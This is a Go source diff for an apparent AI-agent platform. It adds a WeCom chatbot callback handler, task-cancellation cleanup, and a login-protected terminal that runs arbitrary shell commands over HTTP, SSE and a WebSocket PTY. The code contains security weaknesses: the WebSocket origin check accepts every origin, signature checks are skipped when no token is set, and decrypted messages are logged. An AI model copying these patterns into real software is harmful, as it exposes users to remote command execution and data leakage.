+			random[i] = byte(time.Now().UnixNano() % 256)
+		}
+	}
+	msgLen := len(message)
+	msgBytes := []byte(message)
+	corpBytes := []byte(corpID)
+	plain := make([]byte, 16+4+msgLen+len(corpBytes))
+	copy(plain[:16], random)
+	binary.BigEndian.PutUint32(plain[16:20], uint32(msgLen))
+	copy(plain[20:20+msgLen], msgBytes)
+	copy(plain[20+msgLen:], corpBytes)
+	// PKCS7 填充
+	padding := aes.BlockSize - len(plain)%aes.BlockSize
+	pad := bytes.Repeat([]byte{byte(padding)}, padding)
+	plain = append(plain, pad...)
+	// AES-256-CBC 加密
+	block, err := aes.NewCipher(key)
+	if err != nil {
+		return "", err
+	}
+	iv := key[:16]
+	ciphertext := make([]byte, len(plain))
+	mode := cipher.NewCBCEncrypter(block, iv)
+	mode.CryptBlocks(ciphertext, plain)
+	return base64.StdEncoding.EncodeToString(ciphertext), nil
+}
+
+// HandleWecomPOST 企业微信消息回调（POST），支持明文与加密模式
+func (h *RobotHandler) HandleWecomPOST(c *gin.Context) {
+	if !h.config.Robots.Wecom.Enabled {
+		h.logger.Debug("企业微信机器人未启用，跳过请求")
+		c.String(http.StatusOK, "")
+		return
+	}
+	// 从 URL 获取签名参数（加密模式回复时需要用到）
+	timestamp := c.Query("timestamp")
+	nonce := c.Query("nonce")
+	msgSignature := c.Query("msg_signature")
+
+	// 先读取请求体，后续解析/签名验证都会用到
+	bodyRaw, err := io.ReadAll(c.Request.Body)
+	if err != nil {
+		h.logger.Warn("企业微信 POST 读取请求体失败", zap.Error(err))
+		c.String(http.StatusOK, "")
+		return
+	}
+	h.logger.Debug("企业微信 POST 收到请求", zap.String("body", string(bodyRaw)))
+
+	// 验证请求签名防止伪造。企业微信签名算法同 URL 验证，使用 token、timestamp、nonce、 Encrypt 四个字段
+	// 若配置了 Token 则必须校验签名，避免未授权请求触发 Agent（防止平台被接管）
+	token := h.config.Robots.Wecom.Token
+	if token != "" {
+		if msgSignature == "" {
+			h.logger.Warn("企业微信 POST 缺少签名，已拒绝（需配置 token 并确保回调携带 msg_signature）")
+			c.String(http.StatusOK, "")
+			return
+		}
+		var tmp wecomXML
+		if err := xml.Unmarshal(bodyRaw, &tmp); err != nil {
+			h.logger.Warn("企业微信 POST 签名验证前解析 XML 失败", zap.Error(err))
+			c.String(http.StatusOK, "")
+			return
+		}
+		expected := h.signWecomRequest(token, timestamp, nonce, tmp.Encrypt)
+		if expected != msgSignature {
+			h.logger.Warn("企业微信 POST 签名验证失败", zap.String("expected", expected), zap.String("got", msgSignature))
+			c.String(http.StatusOK, "")
+			return
+		}
+	}
+
+	var body wecomXML
+	if err := xml.Unmarshal(bodyRaw, &body); err != nil {
+		h.logger.Warn("企业微信 POST 解析 XML 失败", zap.Error(err))
+		c.String(http.StatusOK, "")
+		return
+	}
+	h.logger.Debug("企业微信 XML 解析成功", zap.String("ToUserName", body.ToUserName), zap.String("FromUserName", body.FromUserName), zap.String("MsgType", body.MsgType), zap.String("Content", body.Content), zap.String("Encrypt", body.Encrypt))
+
+	// 保存企业 ID（用于明文模式回复）
+	enterpriseID := body.ToUserName
+
+	// 加密模式：先解密再解析内层 XML
+	if body.Encrypt != "" && h.config.Robots.Wecom.EncodingAESKey != "" {
+		h.logger.Debug("企业微信进入加密模式解密流程")
+		decrypted, err := wecomDecrypt(h.config.Robots.Wecom.EncodingAESKey, body.Encrypt)
+		if err != nil {
+			h.logger.Warn("企业微信消息解密失败", zap.Error(err))
+			c.String(http.StatusOK, "")
+			return
+		}
+		h.logger.Debug("企业微信解密成功", zap.String("decrypted", string(decrypted)))
+		if err := xml.Unmarshal(decrypted, &body); err != nil {
+			h.logger.Warn("企业微信解密后 XML 解析失败", zap.Error(err))
+			c.String(http.StatusOK, "")
+			return
+		}
+		h.logger.Debug("企业微信内层 XML 解析成功", zap.String("FromUserName", body.FromUserName), zap.String("Content", body.Content))
+	}
+
+	userID := body.FromUserName
+	text := strings.TrimSpace(body.Content)
+
+	// 限制回复内容长度（企业微信限制 2048 字节）
+	maxReplyLen := 2000
+	limitReply := func(s string) string {
+		if len(s) > maxReplyLen {
+			return s[:maxReplyLen] + "\n\n（内容过长，已截断）"
+		}
+		return s
+	}
+
+	if body.MsgType != "text" {
+		h.logger.Debug("企业微信收到非文本消息", zap.String("MsgType", body.MsgType))
+		h.sendWecomReply(c, userID, enterpriseID, limitReply("暂仅支持文本消息，请发送文字。"), timestamp, nonce)
+		return
+	}
+
+	// 文本消息：先判断是否为内置命令（如 帮助/列表/新对话 等），这类命令处理很快，可以直接走被动回复，避免依赖主动发送 API。
+	if cmdReply, ok := h.handleRobotCommand("wecom", userID, text); ok {
+		h.logger.Debug("企业微信收到命令消息，走被动回复", zap.String("userID", userID), zap.String("text", text))
+		h.sendWecomReply(c, userID, enterpriseID, limitReply(cmdReply), timestamp, nonce)
+		return
+	}
+
+	h.logger.Debug("企业微信开始处理消息（异步 AI）", zap.String("userID", userID), zap.String("text", text))
+
+	// 企业微信被动回复有 5 秒超时限制，而 AI 调用通常超过该时长。
+	// 这里采用推荐做法：立即返回 success（或空串），然后通过主动发送接口推送完整回复。
+	c.String(http.StatusOK, "success")
+
+	// 异步处理消息并通过企业微信主动消息接口发送结果
+	go func() {
+		reply := h.HandleMessage("wecom", userID, text)
+		reply = limitReply(reply)
+		h.logger.Debug("企业微信消息处理完成", zap.String("userID", userID), zap.String("reply", reply))
+		// 调用企业微信 API 主动发送消息
+		h.sendWecomMessageViaAPI(userID, enterpriseID, reply)
+	}()
+}
+
+// sendWecomReply 发送企业微信回复（加密模式自动加密）
+// 参数：toUser=用户 ID, fromUser=企业 ID（明文模式）/CorpID（加密模式）, content=回复内容，timestamp/nonce=请求参数
+func (h *RobotHandler) sendWecomReply(c *gin.Context, toUser, fromUser, content, timestamp, nonce string) {
+	// 加密模式：判断 EncodingAESKey 是否配置
+	if h.config.Robots.Wecom.EncodingAESKey != "" {
+		// 加密模式使用 CorpID 进行加密
+		corpID := h.config.Robots.Wecom.CorpID
+		if corpID == "" {
+			h.logger.Warn("企业微信加密模式缺少 CorpID 配置")
+			c.String(http.StatusOK, "")
+			return
+		}
+
+		// 构造完整的明文 XML 回复（格式严格按企业微信文档要求）
+		plainResp := fmt.Sprintf(`<xml>
+<ToUserName><![CDATA[%s]]></ToUserName>
+<FromUserName><![CDATA[%s]]></FromUserName>
+<CreateTime>%d</CreateTime>
+<MsgType><![CDATA[text]]></MsgType>
+<Content><![CDATA[%s]]></Content>
+</xml>`, toUser, fromUser, time.Now().Unix(), content)
+
+		encrypted, err := wecomEncrypt(h.config.Robots.Wecom.EncodingAESKey, plainResp, corpID)
+		if err != nil {
+			h.logger.Warn("企业微信回复加密失败", zap.Error(err))
+			c.String(http.StatusOK, "")
+			return
+		}
+		// 使用请求中的 timestamp/nonce 生成签名（企业微信要求回复时使用与请求相同的 timestamp 和 nonce）
+		msgSignature := h.signWecomRequest(h.config.Robots.Wecom.Token, timestamp, nonce, encrypted)
+
+		h.logger.Debug("企业微信发送加密回复",
+			zap.String("Encrypt", encrypted[:50]+"..."),
+			zap.String("MsgSignature", msgSignature),
+			zap.String("TimeStamp", timestamp),
+			zap.String("Nonce", nonce))
+
+		// 加密模式仅返回 4 个核心字段（企业微信官方要求）
+		xmlResp := fmt.Sprintf(`<xml><Encrypt><![CDATA[%s]]></Encrypt><MsgSignature><![CDATA[%s]]></MsgSignature><TimeStamp><![CDATA[%s]]></TimeStamp><Nonce><![CDATA[%s]]></Nonce></xml>`, encrypted, msgSignature, timestamp, nonce)
+		// also log the final response body so we can cross-check with the
+		// network traffic or developer console
+		h.logger.Debug("企业微信加密回复包", zap.String("xml", xmlResp))
+		// for additional confidence, decrypt the payload ourselves and log it
+		if dec, err2 := wecomDecrypt(h.config.Robots.Wecom.EncodingAESKey, encrypted); err2 == nil {
+			h.logger.Debug("企业微信加密回复解密检查", zap.String("plain", string(dec)))
+		} else {
+			h.logger.Warn("企业微信加密回复解密检查失败", zap.Error(err2))
+		}
+
+		// 使用 c.Writer.Write 直接写入响应，避免 c.String 的转义问题
+		c.Writer.WriteHeader(http.StatusOK)
+		// use text/xml as that's what WeCom examples show
+		c.Writer.Header().Set("Content-Type", "text/xml; charset=utf-8")
+		_, _ = c.Writer.Write([]byte(xmlResp))
+		h.logger.Debug("企业微信加密回复已发送")
+		return
+	}
+
+	// 明文模式
+	h.logger.Debug("企业微信发送明文回复", zap.String("ToUserName", toUser), zap.String("FromUserName", fromUser), zap.String("Content", content[:50]+"..."))
+
+	// 手动构造 XML 响应（使用 CDATA 包裹所有字段，并包含 AgentID）
+	xmlResp := fmt.Sprintf(`<xml>
+<ToUserName><![CDATA[%s]]></ToUserName>
+<FromUserName><![CDATA[%s]]></FromUserName>
+<CreateTime>%d</CreateTime>
+<MsgType><![CDATA[text]]></MsgType>
+<Content><![CDATA[%s]]></Content>
+</xml>`, toUser, fromUser, time.Now().Unix(), content)
+
+	// log the exact plaintext response for debugging
+	h.logger.Debug("企业微信明文回复包", zap.String("xml", xmlResp))
+
+	// use text/xml as recommended by WeCom docs
+	c.Header("Content-Type", "text/xml; charset=utf-8")
+	c.String(http.StatusOK, xmlResp)
+	h.logger.Debug("企业微信明文回复已发送")
+}
+
+// —————— 测试接口（需登录，用于验证机器人逻辑，无需钉钉/飞书客户端） ——————
+
+// RobotTestRequest 模拟机器人消息请求
+type RobotTestRequest struct {
+	Platform string `json:"platform"` // 如 "dingtalk"、"lark"、"wecom"
+	UserID   string `json:"user_id"`
+	Text     string `json:"text"`
+}
+
+// HandleRobotTest 供本地验证：POST JSON { "platform", "user_id", "text" }，返回 { "reply": "..." }
+func (h *RobotHandler) HandleRobotTest(c *gin.Context) {
+	var req RobotTestRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "请求体需为 JSON，包含 platform、user_id、text"})
+		return
+	}
+	platform := strings.TrimSpace(req.Platform)
+	if platform == "" {
+		platform = "test"
+	}
+	userID := strings.TrimSpace(req.UserID)
+	if userID == "" {
+		userID = "test_user"
+	}
+	reply := h.HandleMessage(platform, userID, req.Text)
+	c.JSON(http.StatusOK, gin.H{"reply": reply})
+}
+
+// sendWecomMessageViaAPI 通过企业微信 API 主动发送消息（用于异步处理后的结果发送）
+func (h *RobotHandler) sendWecomMessageViaAPI(toUser, toParty, content string) {
+	if !h.config.Robots.Wecom.Enabled {
+		return
+	}
+
+	secret := h.config.Robots.Wecom.Secret
+	corpID := h.config.Robots.Wecom.CorpID
+	agentID := h.config.Robots.Wecom.AgentID
+
+	if secret == "" || corpID == "" {
+		h.logger.Warn("企业微信主动 API 缺少 secret 或 corpID 配置")
+		return
+	}
+
+	// 第 1 步：获取 access_token
+	tokenURL := fmt.Sprintf("https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=%s&corpsecret=%s", corpID, secret)
+	resp, err := http.Get(tokenURL)
+	if err != nil {
+		h.logger.Warn("企业微信获取 token 失败", zap.Error(err))
+		return
+	}
+	defer resp.Body.Close()
+
+	var tokenResp struct {
+		AccessToken string `json:"access_token"`
+		ErrCode     int    `json:"errcode"`
+		ErrMsg      string `json:"errmsg"`
+	}
+	if err := json.NewDecoder(resp.Body).Decode(&tokenResp); err != nil {
+		h.logger.Warn("企业微信 token 响应解析失败", zap.Error(err))
+		return
+	}
+	if tokenResp.ErrCode != 0 {
+		h.logger.Warn("企业微信 token 获取错误", zap.String("errmsg", tokenResp.ErrMsg), zap.Int("errcode", tokenResp.ErrCode))
+		return
+	}
+
+	// 第 2 步：构造发送消息请求
+	msgReq := map[string]interface{}{
+		"touser":  toUser,
+		"msgtype": "text",
+		"agentid": agentID,
+		"text": map[string]interface{}{
+			"content": content,
+		},
+	}
+
+	msgBody, err := json.Marshal(msgReq)
+	if err != nil {
+		h.logger.Warn("企业微信消息序列化失败", zap.Error(err))
+		return
+	}
+
+	// 第 3 步：发送消息
+	sendURL := fmt.Sprintf("https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=%s", tokenResp.AccessToken)
+	msgResp, err := http.Post(sendURL, "application/json", bytes.NewReader(msgBody))
+	if err != nil {
+		h.logger.Warn("企业微信主动发送消息失败", zap.Error(err))
+		return
+	}
+	defer msgResp.Body.Close()
+
+	var sendResp struct {
+		ErrCode     int    `json:"errcode"`
+		ErrMsg      string `json:"errmsg"`
+		InvalidUser string `json:"invaliduser"`
+		MsgID       string `json:"msgid"`
+	}
+	if err := json.NewDecoder(msgResp.Body).Decode(&sendResp); err != nil {
+		h.logger.Warn("企业微信发送响应解析失败", zap.Error(err))
+		return
+	}
+
+	if sendResp.ErrCode == 0 {
+		h.logger.Debug("企业微信主动发送消息成功", zap.String("msgid", sendResp.MsgID))
+	} else {
+		h.logger.Warn("企业微信主动发送消息失败", zap.String("errmsg", sendResp.ErrMsg), zap.Int("errcode", sendResp.ErrCode), zap.String("invaliduser", sendResp.InvalidUser))
+	}
+}
+
+// —————— 钉钉 ——————
+
+// HandleDingtalkPOST 钉钉事件回调（流式接入等）；当前为占位，返回 200
+func (h *RobotHandler) HandleDingtalkPOST(c *gin.Context) {
+	if !h.config.Robots.Dingtalk.Enabled {
+		c.JSON(http.StatusOK, gin.H{})
+		return
+	}
+	// 钉钉流式/事件回调格式需按官方文档解析并异步回复，此处仅返回 200
+	c.JSON(http.StatusOK, gin.H{"message": "ok"})
+}
+
+// —————— 飞书 ——————
+
+// HandleLarkPOST 飞书事件回调；当前为占位，返回 200；验证时需返回 challenge
+func (h *RobotHandler) HandleLarkPOST(c *gin.Context) {
+	if !h.config.Robots.Lark.Enabled {
+		c.JSON(http.StatusOK, gin.H{})
+		return
+	}
+	var body struct {
+		Challenge string `json:"challenge"`
+	}
+	if err := c.ShouldBindJSON(&body); err == nil && body.Challenge != "" {
+		c.JSON(http.StatusOK, gin.H{"challenge": body.Challenge})
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{})
+}

internal/handler/task_manager.go

@@ -19,6 +19,7 @@ type AgentTask struct {
 	Message        string    `json:"message,omitempty"`
 	StartedAt      time.Time `json:"startedAt"`
 	Status         string    `json:"status"`
+	CancellingAt   time.Time `json:"-"` // 进入 cancelling 状态的时间，用于清理长时间卡住的任务
 
 	cancel func(error)
 }
@@ -41,13 +42,61 @@ type AgentTaskManager struct {
 	historyRetention time.Duration  // 历史记录保留时间
 }
 
+const (
+	// cancellingStuckThreshold 处于「取消中」超过此时长则强制从运行列表移除。正常取消会在当前步骤内返回，
+	// 超过则视为卡住，尽快释放会话。常见做法多为 30–60s 内释放。
+	cancellingStuckThreshold = 45 * time.Second
+	// cancellingStuckThresholdLegacy 未记录 CancellingAt 时用 StartedAt 判断的兜底时长
+	cancellingStuckThresholdLegacy = 2 * time.Minute
+	cleanupInterval                = 15 * time.Second // 与上面阈值配合，最长约 60s 内移除
+)
+
 // NewAgentTaskManager 创建任务管理器
 func NewAgentTaskManager() *AgentTaskManager {
-	return &AgentTaskManager{
+	m := &AgentTaskManager{
 		tasks:            make(map[string]*AgentTask),
 		completedTasks:   make([]*CompletedTask, 0),
-		maxHistorySize:   50,                    // 最多保留50条历史记录
-		historyRetention: 24 * time.Hour,       // 保留24小时
+		maxHistorySize:   50,              // 最多保留50条历史记录
+		historyRetention: 24 * time.Hour,  // 保留24小时
+	}
+	go m.runStuckCancellingCleanup()
+	return m
+}
+
+// runStuckCancellingCleanup 定期将长时间处于「取消中」的任务强制结束，避免卡住无法发新消息
+func (m *AgentTaskManager) runStuckCancellingCleanup() {
+	ticker := time.NewTicker(cleanupInterval)
+	defer ticker.Stop()
+	for range ticker.C {
+		m.cleanupStuckCancelling()
+	}
+}
+
+func (m *AgentTaskManager) cleanupStuckCancelling() {
+	m.mu.Lock()
+	var toFinish []string
+	now := time.Now()
+	for id, task := range m.tasks {
+		if task.Status != "cancelling" {
+			continue
+		}
+		var elapsed time.Duration
+		if !task.CancellingAt.IsZero() {
+			elapsed = now.Sub(task.CancellingAt)
+			if elapsed < cancellingStuckThreshold {
+				continue
+			}
+		} else {
+			elapsed = now.Sub(task.StartedAt)
+			if elapsed < cancellingStuckThresholdLegacy {
+				continue
+			}
+		}
+		toFinish = append(toFinish, id)
+	}
+	m.mu.Unlock()
+	for _, id := range toFinish {
+		m.FinishTask(id, "cancelled")
 	}
 }
 
@@ -76,7 +125,7 @@ func (m *AgentTaskManager) StartTask(conversationID, message string, cancel cont
 	return task, nil
 }
 
-// CancelTask 取消指定会话的任务
+// CancelTask 取消指定会话的任务。若任务已在取消中，仍返回 (true, nil) 以便接口幂等、前端不报错。
 func (m *AgentTaskManager) CancelTask(conversationID string, cause error) (bool, error) {
 	m.mu.Lock()
 	task, exists := m.tasks[conversationID]
@@ -85,13 +134,14 @@ func (m *AgentTaskManager) CancelTask(conversationID string, cause error) (bool,
 		return false, nil
 	}
 
-	// 如果已经处于取消流程，直接返回
+	// 如果已经处于取消流程，视为成功（幂等），避免前端重复点击报「未找到任务」
 	if task.Status == "cancelling" {
 		m.mu.Unlock()
-		return false, nil
+		return true, nil
 	}
 
 	task.Status = "cancelling"
+	task.CancellingAt = time.Now()
 	cancel := task.cancel
 	m.mu.Unlock()
 

internal/handler/terminal.go

@@ -0,0 +1,257 @@
+package handler
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"net/http"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"time"
+
+	"github.com/gin-gonic/gin"
+	"go.uber.org/zap"
+)
+
+const (
+	terminalMaxCommandLen = 4096
+	terminalMaxOutputLen  = 256 * 1024 // 256KB
+	terminalTimeout       = 120 * time.Second
+)
+
+// TerminalHandler 处理系统设置中的终端命令执行
+type TerminalHandler struct {
+	logger *zap.Logger
+}
+
+// maskTerminalCommand 对可能包含敏感信息的终端命令做脱敏，避免在日志中直接记录密码等内容
+func maskTerminalCommand(cmd string) string {
+	trimmed := strings.TrimSpace(cmd)
+	lower := strings.ToLower(trimmed)
+	if strings.Contains(lower, "sudo") || strings.Contains(lower, "password") {
+		return "[masked sensitive terminal command]"
+	}
+	if len(trimmed) > 256 {
+		return trimmed[:256] + "..."
+	}
+	return trimmed
+}
+
+// NewTerminalHandler 创建终端处理器
+func NewTerminalHandler(logger *zap.Logger) *TerminalHandler {
+	return &TerminalHandler{logger: logger}
+}
+
+// RunCommandRequest 执行命令请求
+type RunCommandRequest struct {
+	Command string `json:"command"`
+	Shell   string `json:"shell,omitempty"`
+	Cwd     string `json:"cwd,omitempty"`
+}
+
+// RunCommandResponse 执行命令响应
+type RunCommandResponse struct {
+	Stdout   string `json:"stdout"`
+	Stderr   string `json:"stderr"`
+	ExitCode int    `json:"exit_code"`
+	Error    string `json:"error,omitempty"`
+}
+
+// RunCommand 执行终端命令（需登录）
+func (h *TerminalHandler) RunCommand(c *gin.Context) {
+	var req RunCommandRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "请求体无效，需要 command 字段"})
+		return
+	}
+
+	cmdStr := strings.TrimSpace(req.Command)
+	if cmdStr == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "command 不能为空"})
+		return
+	}
+	if len(cmdStr) > terminalMaxCommandLen {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "命令过长"})
+		return
+	}
+
+	shell := req.Shell
+	if shell == "" {
+		if runtime.GOOS == "windows" {
+			shell = "cmd"
+		} else {
+			shell = "sh"
+		}
+	}
+
+	ctx, cancel := context.WithTimeout(c.Request.Context(), terminalTimeout)
+	defer cancel()
+
+	var cmd *exec.Cmd
+	if runtime.GOOS == "windows" {
+		cmd = exec.CommandContext(ctx, "cmd", "/c", cmdStr)
+	} else {
+		cmd = exec.CommandContext(ctx, shell, "-c", cmdStr)
+		// 无 TTY 时设置 COLUMNS/TERM，使 ping 等工具的 usage 排版与真实终端一致
+		cmd.Env = append(os.Environ(), "COLUMNS=256", "LINES=40", "TERM=xterm-256color")
+	}
+
+	if req.Cwd != "" {
+		absCwd, err := filepath.Abs(req.Cwd)
+		if err != nil {
+			c.JSON(http.StatusBadRequest, gin.H{"error": "工作目录无效"})
+			return
+		}
+		cur, _ := os.Getwd()
+		curAbs, _ := filepath.Abs(cur)
+		rel, err := filepath.Rel(curAbs, absCwd)
+		if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
+			c.JSON(http.StatusBadRequest, gin.H{"error": "工作目录必须在当前进程目录下"})
+			return
+		}
+		cmd.Dir = absCwd
+	}
+
+	var stdout, stderr bytes.Buffer
+	cmd.Stdout = &stdout
+	cmd.Stderr = &stderr
+
+	err := cmd.Run()
+	stdoutBytes := stdout.Bytes()
+	stderrBytes := stderr.Bytes()
+
+	// 限制输出长度，防止内存占用过大（复制后截断，避免修改原 buffer）
+	truncSuffix := []byte("\n...(输出已截断)\n")
+	if len(stdoutBytes) > terminalMaxOutputLen {
+		tmp := make([]byte, terminalMaxOutputLen+len(truncSuffix))
+		n := copy(tmp, stdoutBytes[:terminalMaxOutputLen])
+		copy(tmp[n:], truncSuffix)
+		stdoutBytes = tmp
+	}
+	if len(stderrBytes) > terminalMaxOutputLen {
+		tmp := make([]byte, terminalMaxOutputLen+len(truncSuffix))
+		n := copy(tmp, stderrBytes[:terminalMaxOutputLen])
+		copy(tmp[n:], truncSuffix)
+		stderrBytes = tmp
+	}
+
+	exitCode := 0
+	if err != nil {
+		if exitErr, ok := err.(*exec.ExitError); ok {
+			exitCode = exitErr.ExitCode()
+		} else {
+			exitCode = -1
+		}
+		if ctx.Err() == context.DeadlineExceeded {
+			so := strings.ReplaceAll(string(stdoutBytes), "\r\n", "\n")
+			so = strings.ReplaceAll(so, "\r", "\n")
+			se := strings.ReplaceAll(string(stderrBytes), "\r\n", "\n")
+			se = strings.ReplaceAll(se, "\r", "\n")
+			resp := RunCommandResponse{
+				Stdout:   so,
+				Stderr:   se,
+				ExitCode: -1,
+				Error:    "命令执行超时（" + terminalTimeout.String() + "）",
+			}
+			c.JSON(http.StatusOK, resp)
+			return
+		}
+		h.logger.Debug("终端命令执行异常", zap.String("command", maskTerminalCommand(cmdStr)), zap.Error(err))
+	}
+
+	// 统一为 \n，避免前端因 \r 出现错位/对角线排版
+	stdoutStr := strings.ReplaceAll(string(stdoutBytes), "\r\n", "\n")
+	stdoutStr = strings.ReplaceAll(stdoutStr, "\r", "\n")
+	stderrStr := strings.ReplaceAll(string(stderrBytes), "\r\n", "\n")
+	stderrStr = strings.ReplaceAll(stderrStr, "\r", "\n")
+
+	resp := RunCommandResponse{
+		Stdout:   stdoutStr,
+		Stderr:   stderrStr,
+		ExitCode: exitCode,
+	}
+	if err != nil && exitCode != 0 {
+		resp.Error = err.Error()
+	}
+	c.JSON(http.StatusOK, resp)
+}
+
+// streamEvent SSE 事件
+type streamEvent struct {
+	T string `json:"t"` // "out" | "err" | "exit"
+	D string `json:"d,omitempty"`
+	C int    `json:"c"` // exit code（不用 omitempty，否则 0 不序列化导致前端显示 [exit undefined]）
+}
+
+// RunCommandStream 流式执行命令，输出实时推送到前端（SSE）
+func (h *TerminalHandler) RunCommandStream(c *gin.Context) {
+	var req RunCommandRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "请求体无效，需要 command 字段"})
+		return
+	}
+	cmdStr := strings.TrimSpace(req.Command)
+	if cmdStr == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "command 不能为空"})
+		return
+	}
+	if len(cmdStr) > terminalMaxCommandLen {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "命令过长"})
+		return
+	}
+	shell := req.Shell
+	if shell == "" {
+		if runtime.GOOS == "windows" {
+			shell = "cmd"
+		} else {
+			shell = "sh"
+		}
+	}
+	ctx, cancel := context.WithTimeout(c.Request.Context(), terminalTimeout)
+	defer cancel()
+
+	var cmd *exec.Cmd
+	if runtime.GOOS == "windows" {
+		cmd = exec.CommandContext(ctx, "cmd", "/c", cmdStr)
+	} else {
+		cmd = exec.CommandContext(ctx, shell, "-c", cmdStr)
+		cmd.Env = append(os.Environ(), "COLUMNS=256", "LINES=40", "TERM=xterm-256color")
+	}
+	if req.Cwd != "" {
+		absCwd, err := filepath.Abs(req.Cwd)
+		if err != nil {
+			c.JSON(http.StatusBadRequest, gin.H{"error": "工作目录无效"})
+			return
+		}
+		cur, _ := os.Getwd()
+		curAbs, _ := filepath.Abs(cur)
+		rel, err := filepath.Rel(curAbs, absCwd)
+		if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
+			c.JSON(http.StatusBadRequest, gin.H{"error": "工作目录必须在当前进程目录下"})
+			return
+		}
+		cmd.Dir = absCwd
+	}
+
+	c.Header("Content-Type", "text/event-stream")
+	c.Header("Cache-Control", "no-cache")
+	c.Header("Connection", "keep-alive")
+	c.Header("X-Accel-Buffering", "no")
+	c.Writer.WriteHeader(http.StatusOK)
+	flusher, ok := c.Writer.(http.Flusher)
+	if !ok {
+		cancel()
+		return
+	}
+
+	sendEvent := func(ev streamEvent) {
+		body, _ := json.Marshal(ev)
+		c.SSEvent("", string(body))
+		flusher.Flush()
+	}
+
+	runCommandStreamImpl(cmd, sendEvent, ctx)
+}

internal/handler/terminal_stream_unix.go

@@ -0,0 +1,46 @@
+//go:build !windows
+
+package handler
+
+import (
+	"bufio"
+	"context"
+	"os/exec"
+	"strings"
+
+	"github.com/creack/pty"
+)
+
+const ptyCols = 256
+const ptyRows = 40
+
+// runCommandStreamImpl 在 Unix 下用 PTY 执行，使 ping 等命令按终端宽度排版（isatty 为真）
+func runCommandStreamImpl(cmd *exec.Cmd, sendEvent func(streamEvent), ctx context.Context) {
+	ptmx, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: ptyCols, Rows: ptyRows})
+	if err != nil {
+		sendEvent(streamEvent{T: "exit", C: -1})
+		return
+	}
+	defer ptmx.Close()
+
+	normalize := func(s string) string {
+		s = strings.ReplaceAll(s, "\r\n", "\n")
+		return strings.ReplaceAll(s, "\r", "\n")
+	}
+	sc := bufio.NewScanner(ptmx)
+	for sc.Scan() {
+		sendEvent(streamEvent{T: "out", D: normalize(sc.Text())})
+	}
+	exitCode := 0
+	if err := cmd.Wait(); err != nil {
+		if exitErr, ok := err.(*exec.ExitError); ok {
+			exitCode = exitErr.ExitCode()
+		} else {
+			exitCode = -1
+		}
+	}
+	if ctx.Err() == context.DeadlineExceeded {
+		exitCode = -1
+	}
+	sendEvent(streamEvent{T: "exit", C: exitCode})
+}

internal/handler/terminal_stream_windows.go

@@ -0,0 +1,65 @@
+//go:build windows
+
+package handler
+
+import (
+	"bufio"
+	"context"
+	"os/exec"
+	"strings"
+	"sync"
+)
+
+// runCommandStreamImpl 在 Windows 下用 stdout/stderr 管道执行
+func runCommandStreamImpl(cmd *exec.Cmd, sendEvent func(streamEvent), ctx context.Context) {
+	stdoutPipe, err := cmd.StdoutPipe()
+	if err != nil {
+		sendEvent(streamEvent{T: "exit", C: -1})
+		return
+	}
+	stderrPipe, err := cmd.StderrPipe()
+	if err != nil {
+		sendEvent(streamEvent{T: "exit", C: -1})
+		return
+	}
+	if err := cmd.Start(); err != nil {
+		sendEvent(streamEvent{T: "exit", C: -1})
+		return
+	}
+
+	normalize := func(s string) string {
+		s = strings.ReplaceAll(s, "\r\n", "\n")
+		return strings.ReplaceAll(s, "\r", "\n")
+	}
+
+	var wg sync.WaitGroup
+	wg.Add(2)
+	go func() {
+		defer wg.Done()
+		sc := bufio.NewScanner(stdoutPipe)
+		for sc.Scan() {
+			sendEvent(streamEvent{T: "out", D: normalize(sc.Text())})
+		}
+	}()
+	go func() {
+		defer wg.Done()
+		sc := bufio.NewScanner(stderrPipe)
+		for sc.Scan() {
+			sendEvent(streamEvent{T: "err", D: normalize(sc.Text())})
+		}
+	}()
+
+	wg.Wait()
+	exitCode := 0
+	if err := cmd.Wait(); err != nil {
+		if exitErr, ok := err.(*exec.ExitError); ok {
+			exitCode = exitErr.ExitCode()
+		} else {
+			exitCode = -1
+		}
+	}
+	if ctx.Err() == context.DeadlineExceeded {
+		exitCode = -1
+	}
+	sendEvent(streamEvent{T: "exit", C: exitCode})
+}

internal/handler/terminal_ws_unix.go

@@ -0,0 +1,95 @@
+//go:build !windows
+
+package handler
+
+import (
+	"net/http"
+	"os"
+	"os/exec"
+	"time"
+
+	"github.com/creack/pty"
+	"github.com/gin-gonic/gin"
+	"github.com/gorilla/websocket"
+)
+
+// wsUpgrader 仅用于系统设置中的终端 WebSocket，会复用已有的登录保护（JWT 中间件在上层路由组）
+var wsUpgrader = websocket.Upgrader{
+	CheckOrigin: func(r *http.Request) bool {
+		// 由于已在 Gin 路由层做了认证，这里放宽 Origin，方便在同一域名下通过 HTTPS/WSS 访问
+		return true
+	},
+}
+
+// RunCommandWS 提供真正交互式 Shell：基于 WebSocket + PTY 的长会话
+// 前端建立 WebSocket 连接后，所有键盘输入都会透传到 Shell，Shell 的输出也会实时写回前端。
+func (h *TerminalHandler) RunCommandWS(c *gin.Context) {
+	conn, err := wsUpgrader.Upgrade(c.Writer, c.Request, nil)
+	if err != nil {
+		return
+	}
+	defer conn.Close()
+
+	// 启动交互式 Shell，这里优先使用 bash，找不到则退回 sh
+	shell := "bash"
+	if _, err := exec.LookPath(shell); err != nil {
+		shell = "sh"
+	}
+	cmd := exec.Command(shell)
+	cmd.Env = append(os.Environ(),
+		"COLUMNS=256",
+		"LINES=40",
+		"TERM=xterm-256color",
+	)
+
+	ptmx, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: ptyCols, Rows: ptyRows})
+	if err != nil {
+		return
+	}
+	defer ptmx.Close()
+
+	// Shell -> WebSocket：将 PTY 输出实时发给前端
